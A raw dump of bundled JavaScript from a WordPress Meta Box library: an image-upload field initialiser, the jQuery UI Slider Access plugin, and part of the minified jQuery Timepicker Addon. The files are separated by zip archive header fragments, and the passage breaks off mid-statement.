		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}

		view = new ImageUploadField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );

		// Init uploader after view is inserted to make wp.Uploader works.
		view.addButton.initUploader( $this );

		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-image_upload, .rwmb-plupload_image' ).each( initImageUpload );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-image_upload, .rwmb-plupload_image', initImageUpload )
} )( jQuery, rwmb );
PK     N\w    @  inc/dashboard/lib/meta-box/js/jqueryui/jquery-ui-sliderAccess.jsnu [        /*
 * jQuery UI Slider Access
 * By: Trent Richardson [http://trentrichardson.com]
 * Version 0.3
 * Last Modified: 10/20/2012
 * 
 * Copyright 2011 Trent Richardson
 * Dual licensed under the MIT and GPL licenses.
 * http://trentrichardson.com/Impromptu/GPL-LICENSE.txt
 * http://trentrichardson.com/Impromptu/MIT-LICENSE.txt
 * 
 */
 (function($){

	$.fn.extend({
		sliderAccess: function(options){
			options = options || {};
			options.touchonly = options.touchonly !== undefined? options.touchonly : true; // by default only show it if touch device

			if(options.touchonly === true && !("ontouchend" in document)){
				return $(this);
			}
				
			return $(this).each(function(i,obj){
						var $t = $(this),
							o = $.extend({},{ 
											where: 'after',
											step: $t.slider('option','step'), 
											upIcon: 'ui-icon-plus', 
											downIcon: 'ui-icon-minus',
											text: false,
											upText: '+',
											downText: '-',
											buttonset: true,
											buttonsetTag: 'span',
											isRTL: false
										}, options),
							$buttons = $('<'+ o.buttonsetTag +' class="ui-slider-access">'+
											'<button data-icon="'+ o.downIcon +'" data-step="'+ (o.isRTL? o.step : o.step*-1) +'">'+ o.downText +'</button>'+
											'<button data-icon="'+ o.upIcon +'" data-step="'+ (o.isRTL? o.step*-1 : o.step) +'">'+ o.upText +'</button>'+
										'</'+ o.buttonsetTag +'>');

						$buttons.children('button').each(function(j, jobj){
							var $jt = $(this);
							$jt.button({ 
											text: o.text, 
											icons: { primary: $jt.data('icon') }
										})
								.click(function(e){
											var step = $jt.data('step'),
												curr = $t.slider('value'),
												newval = curr += step*1,
												minval = $t.slider('option','min'),
												maxval = $t.slider('option','max'),
												slidee = $t.slider("option", "slide") || function(){},
												stope = $t.slider("option", "stop") || function(){};

											e.preventDefault();
											
											if(newval < minval || newval > maxval){
												return;
											}
											
											$t.slider('value', newval);

											slidee.call($t, null, { value: newval });
											stope.call($t, null, { value: newval });
										});
						});
						
						// before or after					
						$t[o.where]($buttons);

						if(o.buttonset){
							$buttons.removeClass('ui-corner-right').removeClass('ui-corner-left').buttonset();
							$buttons.eq(0).addClass('ui-corner-left');
							$buttons.eq(1).addClass('ui-corner-right');
						}

						// adjust the width so we don't break the original layout
						var bOuterWidth = $buttons.css({
									marginLeft: ((o.where === 'after' && !o.isRTL) || (o.where === 'before' && o.isRTL)? 10:0), 
									marginRight: ((o.where === 'before' && !o.isRTL) || (o.where === 'after' && o.isRTL)? 10:0)
								}).outerWidth(true) + 5;
						var tOuterWidth = $t.outerWidth(true);
						$t.css('display','inline-block').width(tOuterWidth-bOuterWidth);
					});		
		}
	});

})(jQuery);PK     N\n    H  inc/dashboard/lib/meta-box/js/jqueryui/jquery-ui-timepicker-addon.min.jsnu [        /*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20
* http://trentrichardson.com/examples/timepicker
* Copyright (c) 2016 Trent Richardson; Licensed MIT */
!function(a){"function"==typeof define&&define.amd?define(["jquery","jquery-ui"],a):a(jQuery)}(function($){if($.ui.timepicker=$.ui.timepicker||{},!$.ui.timepicker.version){$.extend($.ui,{timepicker:{version:"1.6.3"}});var Timepicker=function(){this.regional=[],this.regional[""]={currentText:"Now",closeText:"Done",amNames:["AM","A"],pmNames:["PM","P"],timeFormat:"HH:mm",timeSuffix:"",timeOnlyTitle:"Choose Time",timeText:"Time",hourText:"Hour",minuteText:"Minute",secondText:"Second",millisecText:"Millisecond",microsecText:"Microsecond",timezoneText:"Time Zone",isRTL:!1},this._defaults={showButtonPanel:!0,timeOnly:!1,timeOnlyShowDate:!1,showHour:null,showMinute:null,showSecond:null,showMillisec:null,showMicrosec:null,showTimezone:null,showTime:!0,stepHour:1,stepMinute:1,stepSecond:1,stepMillisec:1,stepMicrosec:1,hour:0,minute:0,second:0,millisec:0,microsec:0,timezone:null,hourMin:0,minuteMin:0,secondMin:0,millisecMin:0,microsecMin:0,hourMax:23,minuteMax:59,secondMax:59,millisecMax:999,microsecMax:999,minDateTime:null,maxDateTime:null,maxTime:null,minTime:null,onSelect:null,hourGrid:0,minuteGrid:0,secondGrid:0,millisecGrid:0,microsecGrid:0,alwaysSetTime:!0,separator:" ",altFieldTimeOnly:!0,altTimeFormat:null,altSeparator:null,altTimeSuffix:null,altRedirectFocus:!0,pickerTimeFormat:null,pickerTimeSuffix:null,showTimepicker:!0,timezoneList:null,addSliderAccess:!1,sliderAccessArgs:null,controlType:"slider",oneLine:!1,defaultValue:null,parse:"strict",afterInject:null},$.extend(this._defaults,this.regional[""])};$.extend(Timepicker.prototype,{$input:null,$altInput:null,$timeObj:null,inst:null,hour_slider:null,minute_slider:null,second_slider:null,millisec_slider:null,microsec_slider:null,timezone_select:null,maxTime:null,minTime:null,hour:0,minute:0,second:0,millisec:0,microsec:0,timezone:null,hourMinOriginal:null,minuteMinOriginal:null,secondMinOriginal:null,millisecMinOriginal:null,microsecMinOriginal:null,hourMaxOriginal:null,minuteMaxOriginal:null,secondMaxOriginal:null,millisecMaxOriginal:null,microsecMaxOriginal:null,ampm:"",formattedDate:"",formattedTime:"",formattedDateTime:"",timezoneList:null,units:["hour","minute","second","millisec","microsec"],support:{},control:null,setDefaults:function(a){return extendRemove(this._defaults,a||{}),this},_newInst:function($input,opts){var tp_inst=new Timepicker,inlineSettings={},fns={},overrides,i;for(var attrName in this._defaults)if(this._defaults.hasOwnProperty(attrName)){var attrValue=$input.attr("time:"+attrName);if(attrValue)try{inlineSettings[attrName]=eval(attrValue)}catch(err){inlineSettings[attrName]=attrValue}}overrides={beforeShow:function(a,b){return $.isFunction(tp_inst._defaults.evnts.beforeShow)?tp_inst._defaults.evnts.beforeShow.call($input[0],a,b,tp_inst):void 0},onChangeMonthYear:function(a,b,c){$.isFunction(tp_inst._defaults.evnts.onChangeMonthYear)&&tp_inst._defaults.evnts.onChangeMonthYear.call($input[0],a,b,c,tp_inst)},onClose:function(a,b){tp_inst.timeDefined===!0&&""!==$input.val()&&tp_inst._updateDateTime(b),$.isFunction(tp_inst._defaults.evnts.onClose)&&tp_inst._defaults.evnts.onClose.call($input[0],a,b,tp_inst)}};for(i in overrides)overrides.hasOwnProperty(i)&&(fns[i]=opts[i]||this._defaults[i]||null);tp_inst._defaults=$.extend({},this._defaults,inlineSettings,opts,overrides,{evnts:fns,timepicker:tp_inst}),tp_inst.amNames=$.map(tp_inst._defaults.amNames,function(a){return a.toUpperCase()}),tp_inst.pmNames=$.map(tp_inst._defaults.pmNames,function(a){return a.toUpperCase()}),tp_inst.support=detectSupport(tp_inst._defaults.timeFormat+(tp_inst._defaults.pickerTimeFormat?tp_inst._defaults.pickerTimeFormat:"")+(tp_inst._defaults.altTimeFormat?tp_inst._defaults.altTimeFormat:"")),"string"==typeof tp_inst._defaults.controlType?("slider"===tp_inst._defaults.controlType&&"undefined"==typeof $.ui.slider&&(tp_inst._defaults.controlType="select"),tp_inst.control=tp_inst._controls[tp_inst._defaults.controlType]):tp_inst.control=tp_inst._defaults.controlType;var timezoneList=[-720,-660,-600,-570,-540,-480,-420,-360,-300,-270,-240,-210,-180,-120,-60,0,60,120,180,210,240,270,300,330,345,360,390,420,480,525,540,570,600,630,660,690,720,765,780,840];null!==tp_inst._defaults.timezoneList&&(timezoneList=tp_inst._defaults.timezoneList);var tzl=timezoneList.length,tzi=0,tzv=null;if(tzl>0&&"object"!=typeof timezoneList[0])for(;tzl>tzi;tzi++)tzv=timezoneList[tzi],timezoneList[tzi]={value:tzv,label:$.timepicker.timezoneOffsetString(tzv,tp_inst.support.iso8601)};return tp_inst._defaults.timezoneList=timezoneList,tp_inst.timezone=null!==tp_inst._defaults.timezone?$.timepicker.timezoneOffsetNumber(tp_inst._defaults.timezone):-1*(new Date).getTimezoneOffset(),tp_inst.hour=tp_inst._defaults.hour<tp_inst._defaults.hourMin?tp_inst._defaults.hourMin:tp_inst._defaults.hour>tp_inst._defaults.hourMax?tp_inst._defaults.hourMax:tp_inst._defaults.hour,tp_inst.minute=tp_inst._defaults.minute<tp_inst._defaults.minuteMin?tp_inst._defaults.minuteMin:tp_inst._defaults.minute>tp_inst._defaults.minuteMax?tp_inst._defaults.minuteMax:tp_inst._defaults.minute,tp_inst.second=tp_inst._defaults.second<tp_inst._defaults.secondMin?tp_inst._defaults.secondMin:tp_inst._defaults.second>tp_inst._defaults.secondMax?tp_inst._defaults.secondMax:tp_inst._defaults.second,tp_inst.millisec=tp_inst._defaults.millisec<tp_inst._defaults.millisecMin?tp_inst._defaults.millisecMin:tp_inst._defaults.millisec>tp_inst._defaults.millisecMax?tp_inst._defaults.millisecMax:tp_inst._defaults.millisec,tp_inst.microsec=tp_inst._defaults.microsec<tp_inst._defaults.microsecMin?tp_inst._defaults.microsecMin:tp_inst._defaults.microsec>tp_inst._defaults.microsecMax?tp_inst._defaults.microsecMax:tp_inst._defaults.microsec,tp_inst.ampm="",tp_inst.$input=$input,tp_inst._defaults.altField&&(tp_inst.$altInput=$(tp_inst._defaults.altField),tp_inst._defaults.altRedirectFocus===!0&&tp_inst.$altInput.css({cursor:"pointer"}).focus(function(){$input.trigger("focus")})),(0===tp_inst._defaults.minDate||0===tp_inst._defaults.minDateTime)&&(tp_inst._defaults.minDate=new Date),(0===tp_inst._defaults.maxDate||0===tp_inst._defaults.maxDateTime)&&(tp_inst._defaults.maxDate=new Date),void 0!==tp_inst._defaults.minDate&&tp_inst._defaults.minDate instanceof Date&&(tp_inst._defaults.minDateTime=new Date(tp_inst._defaults.minDate.getTime())),void 0!==tp_inst._defaults.minDateTime&&tp_inst._defaults.minDateTime instanceof Date&&(tp_inst._defaults.minDate=new Date(tp_inst._defaults.minDateTime.getTime())),void 0!==tp_inst._defaults.maxDate&&tp_inst._defaults.maxDate instanceof Date&&(tp_inst._defaults.maxDateTime=new Date(tp_inst._defaults.maxDate.getTime())),void 0!==tp_inst._defaults.maxDateTime&&tp_inst._defaults.maxDateTime instanceof Date&&(tp_inst._defaults.maxDate=new Date(tp_inst._defaults.maxDateTime.getTime())),tp_inst.$input.bind("focus",function(){tp_inst._onFocus()}),tp_inst},_addTimePicker:function(a){var b=$.trim(this.$altInput&&this._defaults.altFieldTimeOnly?this.$input.val()+" "+this.$altInput.val():this.$input.val());this.timeDefined=this._parseTime(b),this._limitMinMaxDateTime(a,!1),this._injectTimePicker(),this._afterInject()},_parseTime:function(a,b){if(this.inst||(this.inst=$.datepicker._getInst(this.$input[0])),b||!this._defaults.timeOnly){var c=$.datepicker._get(this.inst,"dateFormat");try{var d=parseDateTimeInternal(c,this._defaults.timeFormat,a,$.datepicker._getFormatConfig(this.inst),this._defaults);if(!d.timeObj)return!1;$.extend(this,d.timeObj)}catch(e){return $.timepicker.log("Error parsing the date/time string: "+e+"\ndate/time string = "+a+"\ntimeFormat = "+this._defaults.timeFormat+"\ndateFormat = "+c),!1}return!0}var f=$.datepicker.parseTime(this._defaults.timeFormat,a,this._defaults);return f?($.extend(this,f),!0):!1},_afterInject:function(){var a=this.inst.settings;$.isFunction(a.afterInject)&&a.afterInject.call(this)},_injectTimePicker:function(){var a=this.inst.dpDiv,b=this.inst.settings,c=this,d="",e="",f=null,g={},h={},i=null,j=0,k=0;if(0===a.find("div.ui-timepicker-div").length&&b.showTimepicker){var l=" ui_tpicker_unit_hide",m='<div class="ui-timepicker-div'+(b.isRTL?" ui-timepicker-rtl":"")+(b.oneLine&&"select"===b.controlType?" ui-timepicker-oneLine":"")+'"><dl><dt class="ui_tpicker_time_label'+(b.showTime?"":l)+'">'+b.timeText+'</dt><dd class="ui_tpicker_time '+(b.showTime?"":l)+'"><input class="ui_tpicker_time_input" '+(b.timeInput?"":"disabled")+"/></dd>";for(j=0,k=this.units.length;k>j;j++){if(d=this.units[j],e=d.substr(0,1).toUpperCase()+d.substr(1),f=null!==b["show"+e]?b["show"+e]:this.support[d],g[d]=parseInt(b[d+"Max"]-(b[d+"Max"]-b[d+"Min"])%b["step"+e],10),h[d]=0,m+='<dt class="ui_tpicker_'+d+"_label"+(f?"":l)+'">'+b[d+"Text"]+'</dt><dd class="ui_tpicker_'+d+(f?"":l)+'"><div class="ui_tpicker_'+d+"_slider"+(f?"":l)+'"></div>',f&&b[d+"Grid"]>0){if(m+='<div style="padding-left: 1px"><table class="ui-tpicker-grid-label"><tr>',"hour"===d)for(var n=b[d+"Min"];n<=g[d];n+=parseInt(b[d+"Grid"],10)){h[d]++;var o=$.datepicker.formatTime(this.support.ampm?"hht":"HH",{hour:n},b);m+='<td data-for="'+d+'">'+o+"</td>"}else for(var p=b[d+"Min"];p<=g[d];p+=parseInt(b[d+"Grid"],10))h[d]++,m+='<td data-for="'+d+'">'+(10>p?"0":"")+p+"</td>";m+="</tr></table></div>"}m+="</dd>"}var q=null!==b.showTimezone?b.showTimezone:this.support.timezone;m+='<dt class="ui_tpicker_timezone_label'+(q?"":l)+'">'+b.timezoneText+"</dt>",m+='<dd class="ui_tpicker_timezone'+(q?"":l)+'"></dd>',m+="</dl></div>";var r=$(m);for(b.timeOnly===!0&&(r.prepend('<div class="ui-widget-header ui-helper-clearfix ui-corner-all"><div class="ui-datepicker-title">'+b.timeOnlyTitle+"</div></div>"),a.find(".ui-datepicker-header, .ui-datepicker-calendar").hide()),j=0,k=c.units.length;k>j;j++)d=c.units[j],e=d.substr(0,1).toUpperCase()+d.substr(1),f=null!==b["show"+e]?b["show"+e]:this.support[d],c[d+"_slider"]=c.control.create(c,r.find(".ui_tpicker_"+d+"_slider"),d,c[d],b[d+"Min"],g[d],b["step"+e]),f&&b[d+"Grid"]>0&&(i=100*h[d]*b[d+"Grid"]/(g[d]-b[d+"Min"]),r.find(".ui_tpicker_"+d+" table").css({width:i+"%",marginLeft:b.isRTL?"0":i/(-2*h[d])+"%",marginRight:b.isRTL?i/(-2*h[d])+"%":"0",borderCollapse:"collapse"}).find("td").click(function(a){var b=$(this),e=b.html(),f=parseInt(e.replace(/[^0-9]/g),10),g=e.replace(/[^apm]/gi),h=b.data("for");"hour"===h&&(-1!==g.indexOf("p")&&12>f?f+=12:-1!==g.indexOf("a")&&12===f&&(f=0)),c.control.value(c,c[h+"_slider"],d,f),c._onTimeChange(),c._onSelectHandler()}).css({cursor:"pointer",width:100/h[d]+"%",textAlign:"center",overflow:"hidden"}));if(this.timezone_select=r.find(".ui_tpicker_timezone").append("<select></select>").find("select"),$.fn.append.apply(this.timezone_select,$.map(b.timezoneList,function(a,b){return $("<option />").val("object"==typeof a?a.value:a).text("object"==typeof a?a.label:a)})),"undefined"!=typeof this.timezone&&null!==this.timezone&&""!==this.timezone){var s=-1*new Date(this.inst.selectedYear,this.inst.selectedMonth,this.inst.selectedDay,12).getTimezoneOffset();s===this.timezone?selectLocalTimezone(c):this.timezone_select.val(this.timezone)}else"undefined"!=typeof this.hour&&null!==this.hour&&""!==this.hour?this.timezone_select.val(b.timezone):selectLocalTimezone(c);this.timezone_select.change(function(){c._onTimeChange(),c._onSelectHandler(),c._afterInject()});var t=a.find(".ui-datepicker-buttonpane");if(t.length?t.before(r):a.append(r),this.$timeObj=r.find(".ui_tpicker_time_input"),this.$timeObj.change(function(){var a=c.inst.settings.timeFormat,b=$.datepicker.parseTime(a,this.value),d=new Date;b?(d.setHours(b.hour),d.setMinutes(b.minute),d.setSeconds(b.second),$.datepicker._setTime(c.inst,d)):(this.value=c.formattedTime,this.blur())}),null!==this.inst){var u=this.timeDefined;this._onTimeChange(),this.timeDefined=u}if(this._defaults.addSliderAccess){var v=this._defaults.sliderAccessArgs,w=this._defaults.isRTL;v.isRTL=w,setTimeout(function(){if(0===r.find(".ui-slider-access").length){r.find(".ui-slider:visible").sliderAccess(v);var a=r.find(".ui-slider-access:eq(0)").outerWidth(!0);a&&r.find("table:visible").each(function(){var b=$(this),c=b.outerWidth(),d=b.css(w?"marginRight":"marginLeft").toString().replace("%",""),e=c-a,f=d*e/c+"%",g={width:e,marginRight:0,marginLeft:0};g[w?"marginRight":"marginLeft"]=f,b.css(g)})}},10)}c._limitMinMaxDateTime(this.inst,!0)}},_limitMinMaxDateTime:function(a,b){var c=this._defaults,d=new Date(a.selectedYear,a.selectedMonth,a.selectedDay);if(this._defaults.showTimepicker){if(null!==$.datepicker._get(a,"minDateTime")&&void 0!==$.datepicker._get(a,"minDateTime")&&d){var e=$.datepicker._get(a,"minDateTime"),f=new Date(e.getFullYear(),e.getMonth(),e.getDate(),0,0,0,0);(null===this.hourMinOriginal||null===this.minuteMinOriginal||null===this.secondMinOriginal||null===this.millisecMinOriginal||null===this.microsecMinOriginal)&&(this.hourMinOriginal=c.hourMin,this.minuteMinOriginal=c.minuteMin,this.secondMinOriginal=c.secondMin,this.millisecMinOriginal=c.millisecMin,this.microsecMinOriginal=c.microsecMin),a.settings.timeOnly||f.getTime()===d.getTime()?(this._defaults.hourMin=e.getHours(),this.hour<=this._defaults.hourMin?(this.hour=this._defaults.hourMin,this._defaults.minuteMin=e.getMinutes(),this.minute<=this._defaults.minuteMin?(this.minute=this._defaults.minuteMin,this._defaults.secondMin=e.getSeconds(),this.second<=this._defaults.secondMin?(this.second=this._defaults.secondMin,this._defaults.millisecMin=e.getMilliseconds(),this.millisec<=this._defaults.millisecMin?(this.millisec=this._defaults.millisecMin,this._defaults.microsecMin=e.getMicroseconds()):(this.microsec<this._defaults.microsecMin&&(this.microsec=this._defaults.microsecMin),this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.secondMin=this.secondMinOriginal,this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.minuteMin=this.minuteMinOriginal,this._defaults.secondMin=this.secondMinOriginal,this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)):(this._defaults.hourMin=this.hourMinOriginal,this._defaults.minuteMin=this.minuteMinOriginal,this._defaults.secondMin=this.secondMinOriginal,this._defaults.millisecMin=this.millisecMinOriginal,this._defaults.microsecMin=this.microsecMinOriginal)}if(null!==$.datepicker._get(a,"maxDateTime")&&void 0!==$.datepicker._get(a,"maxDateTime")&&d){var g=$.datepicker._get(a,"maxDateTime"),h=new Date(g.getFullYear(),g.getMonth(),g.getDate(),0,0,0,0);(null===this.hourMaxOriginal||null===this.minuteMaxOriginal||null===this.secondMaxOriginal||null===this.millisecMaxOriginal)&&(this.hourMaxOriginal=c.hourMax,this.minuteMaxOriginal=c.minuteMax,this.secondMaxOriginal=c.secondMax,this.millisecMaxOriginal=c.millisecMax,this.microsecMaxOriginal=c.microsecMax),a.settings.timeOnly||h.getTime()===d.getTime()?(this._defaults.hourMax=g.getHours(),this.hour>=this._defaults.hourMax?(this.hour=this._defaults.hourMax,this._defaults.minuteMax=g.getMinutes(),this.minute>=this._defaults.minuteMax?(this.minute=this._defaults.minuteMax,this._defaults.secondMax=g.getSeconds(),this.second>=this._defaults.secondMax?(this.second=this._defaults.secondMax,this._defaults.millisecMax=g.getMilliseconds(),this.millisec>=this._defaults.millisecMax?(this.millisec=this._defaults.millisecMax,this._defaults.microsecMax=g.getMicroseconds()):(this.microsec>this._defaults.microsecMax&&(this.microsec=this._defaults.microsecMax),this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.secondMax=this.secondMaxOriginal,this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.minuteMax=this.minuteMaxOriginal,this._defaults.secondMax=this.secondMaxOriginal,this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)):(this._defaults.hourMax=this.hourMaxOriginal,this._defaults.minuteMax=this.minuteMaxOriginal,this._defaults.secondMax=this.secondMaxOriginal,this._defaults.millisecMax=this.millisecMaxOriginal,this._defaults.microsecMax=this.microsecMaxOriginal)}if(null!==a.settings.minTime){var i=new Date("01/01/1970 "+a.settings.minTime);this.hour<i.getHours()?(this.hour=this._defaults.hourMin=i.getHours(),this.minute=this._defaults.minuteMin=i.getMinutes()):this.hour===i.getHours()&&this.minute<i.getMinutes()?this.minute=this._defaults.minuteMin=i.getMinutes():this._defaults.hourMin<i.getHours()?(this._defaults.hourMin=i.getHours(),this._defaults.minuteMin=i.getMinutes()):this._defaults.hourMin===i.getHours()===this.hour&&this._defaults.minuteMin<i.getMinutes()?this._defaults.minuteMin=i.getMinutes():this._defaults.minuteMin=0}if(null!==a.settings.maxTime){var j=new Date("01/01/1970 "+a.settings.maxTime);this.hour>j.getHours()?(this.hour=this._defaults.hourMax=j.getHours(),this.minute=this._defaults.minuteMax=j.getMinutes()):this.hour===j.getHours()&&this.minute>j.getMinutes()?this.minute=this._defaults.minuteMax=j.getMinutes():this._defaults.hourMax>j.getHours()?(this._defaults.hourMax=j.getHours(),this._defaults.minuteMax=j.getMinutes()):this._defaults.hourMax===j.getHours()===this.hour&&this._defaults.minuteMax>j.getMinutes()?this._defaults.minuteMax=j.getMinutes():this._defaults.minuteMax=59}if(void 0!==b&&b===!0){var k=parseInt(this._defaults.hourMax-(this._defaults.hourMax-this._defaults.hourMin)%this._defaults.stepHour,10),l=parseInt(this._defaults.minuteMax-(this._defaults.minuteMax-this._defaults.minuteMin)%this._defaults.stepMinute,10),m=parseInt(this._defaults.secondMax-(this._defaults.secondMax-this._defaults.secondMin)%this._defaults.stepSecond,10),n=parseInt(this._defaults.millisecMax-(this._defaults.millisecMax-this._defaults.millisecMin)%this._defaults.stepMillisec,10),o=parseInt(this._defaults.microsecMax-(this._defaults.microsecMax-this._defaults.microsecMin)%this._defaults.stepMicrosec,10);this.hour_slider&&(this.control.options(this,this.hour_slider,"hour",{min:this._defaults.hourMin,max:k,step:this._defaults.stepHour}),this.control.value(this,this.hour_slider,"hour",this.hour-this.hour%this._defaults.stepHour)),this.minute_slider&&(this.control.options(this,this.minute_slider,"minute",{min:this._defaults.minuteMin,max:l,step:this._defaults.stepMinute}),this.control.value(this,this.minute_slider,"minute",this.minute-this.minute%this._defaults.stepMinute)),this.second_slider&&(this.control.options(this,this.second_slider,"second",{min:this._defaults.secondMin,max:m,step:this._defaults.stepSecond}),this.control.value(this,this.second_slider,"second",this.second-this.second%this._defaults.stepSecond)),this.millisec_slider&&(this.control.options(this,this.millisec_slider,"millisec",{min:this._defaults.millisecMin,max:n,step:this._defaults.stepMillisec}),this.control.value(this,this.millisec_slider,"millisec",this.millisec-this.millisec%this._defaults.stepMillisec)),this.microsec_slider&&(this.control.options(this,this.microsec_slider,"microsec",{min:this._defaults.microsecMin,max:o,step:this._defaults.stepMicrosec}),this.control.value(this,this.microsec_slider,"microsec",this.microsec-this.microsec%this._defaults.stepMicrosec))}}},_onTimeChange:function(){if(this._defaults.showTimepicker){var a=this.hour_slider?this.control.value(this,this.hour_slider,"hour"):!1,b=this.minute_slider?this.control.value(this,this.minute_slider,"minute"):!1,c=this.second_slider?this.control.value(this,this.second_slider,"second"):!1,d=this.millisec_slider?this.control.value(this,this.millisec_slider,"millisec"):!1,e=this.microsec_slider?this.control.value(this,this.microsec_slider,"microsec"):!1,f=this.timezone_select?this.timezone_select.val():!1,g=this._defaults,h=g.pickerTimeFormat||g.timeFormat,i=g.pickerTimeSuffix||g.timeSuffix;"object"==typeof a&&(a=!1),"object"==typeof b&&(b=!1),"object"==typeof c&&(c=!1),"object"==typeof d&&(d=!1),"object"==typeof e&&(e=!1),"object"==typeof f&&(f=!1),a!==!1&&(a=parseInt(a,10)),b!==!1&&(b=parseInt(b,10)),c!==!1&&(c=parseInt(c,10)),d!==!1&&(d=parseInt(d,10)),e!==!1&&(e=parseInt(e,10)),f!==!1&&(f=f.toString());var j=g[12>a?"amNames":"pmNames"][0],k=a!==parseInt(this.hour,10)||b!==parseInt(this.minute,10)||c!==parseInt(this.second,10)||d!==parseInt(this.millisec,10)||e!==parseInt(this.microsec,10)||this.ampm.length>0&&12>a!=(-1!==$.inArray(this.ampm.toUpperCase(),this.amNames))||null!==this.timezone&&f!==this.timezone.toString();if(k&&(a!==!1&&(this.hour=a),b!==!1&&(this.minute=b),c!==!1&&(this.second=c),d!==!1&&(this.millisec=d),e!==!1&&(this.microsec=e),f!==!1&&(this.timezone=f),this.inst||(this.inst=$.datepicker._getInst(this.$input[0])),this._limitMinMaxDateTime(this.inst,!0)),this.support.ampm&&(this.ampm=j),this.formattedTime=$.datepicker.formatTime(g.timeFormat,this,g),this.$timeObj&&(this.$timeObj.val(h===g.timeFormat?this.formattedTime+i:$.datepicker.formatTime(h,this,g)+i),this.$timeObj[0].setSelectionRange)){var l=this.$timeObj[0].selectionStart,m=this.$timeObj[0].selectionEnd;this.$timeObj[0].setSelectionRange(l,m)}this.timeDefined=!0,k&&this._updateDateTime()}},_onSelectHandler:function(){var a=this._defaults.onSelect||this.inst.settings.onSelect,b=this.$input?this.$input[0]:null;a&&b&&a.apply(b,[this.formattedDateTime,this])},_updateDateTime:function(a){a=this.inst||a;var b=a.currentYear>0?new Date(a.currentYear,a.currentMonth,a.currentDay):new Date(a.selectedYear,a.selectedMonth,a.selectedDay),c=$.datepicker._daylightSavingAdjust(b),d=$.datepicker._get(a,"dateFormat"),e=$.datepicker._getFormatConfig(a),f=null!==c&&this.timeDefined;this.formattedDate=$.datepicker.formatDate(d,null===c?new Date:c,e);var g=this.formattedDate;if(""===a.lastVal&&(a.currentYear=a.selectedYear,a.currentMonth=a.selectedMonth,a.currentDay=a.selectedDay),this._defaults.timeOnly===!0&&this._defaults.timeOnlyShowDate===!1?g=this.formattedTime:(this._defaults.timeOnly!==!0&&(this._defaults.alwaysSetTime||f)||this._defaults.timeOnly===!0&&this._defaults.timeOnlyShowDate===!0)&&(g+=this._defaults.separator+this.formattedTime+this._defaults.timeSuffix),this.formattedDateTime=g,this._defaults.showTimepicker)if(this.$altInput&&this._defaults.timeOnly===!1&&this._defaults.altFieldTimeOnly===!0)this.$altInput.val(this.formattedTime),this.$input.val(this.formattedDate);else if(this.$altInput){this.$input.val(g);var h="",i=null!==this._defaults.altSeparator?this._defaults.altSeparator:this._defaults.separator,j=null!==this._defaults.altTimeSuffix?this._defaults.altTimeSuffix:this._defaults.timeSuffix;this._defaults.timeOnly||(h=this._defaults.altFormat?$.datepicker.formatDate(this._defaults.altFormat,null===c?new Date:c,e):this.formattedDate,h&&(h+=i)),h+=null!==this._defaults.altTimeFormat?$.datepicker.formatTime(this._defaults.altTimeFormat,this,this._defaults)+j:this.formattedTime+j,this.$altInput.val(h)}else this.$input.val(g);else this.$input.val(this.formattedDate);this.$input.trigger("change")},_onFocus:function(){if(!this.$input.val()&&this._defaults.defaultValue){this.$input.val(this._defaults.defaultValue);var a=$.datepicker._getInst(this.$input.get(0)),b=$.datepicker._get(a,"timepicker");if(b&&b._defaults.timeOnly&&a.input.val()!==a.lastVal)try{$.datepicker._updateDatepicker(a)}catch(c){$.timepicker.log(c)}}},_controls:{slider:{create:function(a,b,c,d,e,f,g){var h=a._defaults.isRTL;return b.prop("slide",null).slider({orientation:"horizontal",value:h?-1*d:d,min:h?-1*f:e,max:h?-1*e:f,step:g,slide:function(b,d){a.control.value(a,$(this),c,h?-1*d.value:d.value),a._onTimeChange()},stop:function(b,c){a._onSelectHandler()}})},options:function(a,b,c,d,e){if(a._defaults.isRTL){if("string"==typeof d)return"min"===d||"max"===d?void 0!==e?b.slider(d,-1*e):Math.abs(b.slider(d)):b.slider(d);var f=d.min,g=d.max;return d.min=d.max=null,void 0!==f&&(d.max=-1*f),void 0!==g&&(d.min=-1*g),b.slider(d)}return"string"==typeof d&&void 0!==e?b.slider(d,e):b.slider(d)},value:function(a,b,c,d){return a._defaults.isRTL?void 0!==d?b.slider("value",-1*d):Math.abs(b.slider("value")):void 0!==d?b.slider("value",d):b.slider("value")}},select:{create:function(a,b,c,d,e,f,g){for(var h='<select class="ui-timepicker-select ui-state-default ui-corner-all" data-unit="'+c+'" data-min="'+e+'" data-max="'+f+'" data-step="'+g+'">',i=a._defaults.pickerTimeFormat||a._defaults.timeFormat,j=e;f>=j;j+=g)h+='<option value="'+j+'"'+(j===d?" selected":"")+">",h+="hour"===c?$.datepicker.formatTime($.trim(i.replace(/[^ht ]/gi,"")),{hour:j},a._defaults):"millisec"===c||"microsec"===c||j>=10?j:"0"+j.toString(),h+="</option>";return h+="</select>",b.children("select").remove(),$(h).appendTo(b).change(function(b){a._onTimeChange(),a._onSelectHandler(),a._afterInject()}),b},options:function(a,b,c,d,e){var f={},g=b.children("select");if("string"==typeof d){if(void 0===e)return g.data(d);f[d]=e}else f=d;return a.control.create(a,b,g.data("unit"),g.val(),f.min>=0?f.min:g.data("min"),f.max||g.data("max"),f.step||g.data("step"))},value:function(a,b,c,d){var e=b.children("select");return void 0!==d?e.val(d):e.val()}}}}),$.fn.extend({timepicker:function(a){a=a||{};var b=Array.prototype.slice.call(arguments);return"object"==typeof a&&(b[0]=$.extend(a,{timeOnly:!0})),$(this).each(function(){$.fn.datetimepicker.apply($(this),b)})},datetimepicker:function(a){a=a||{};var b=arguments;return"string"==typeof 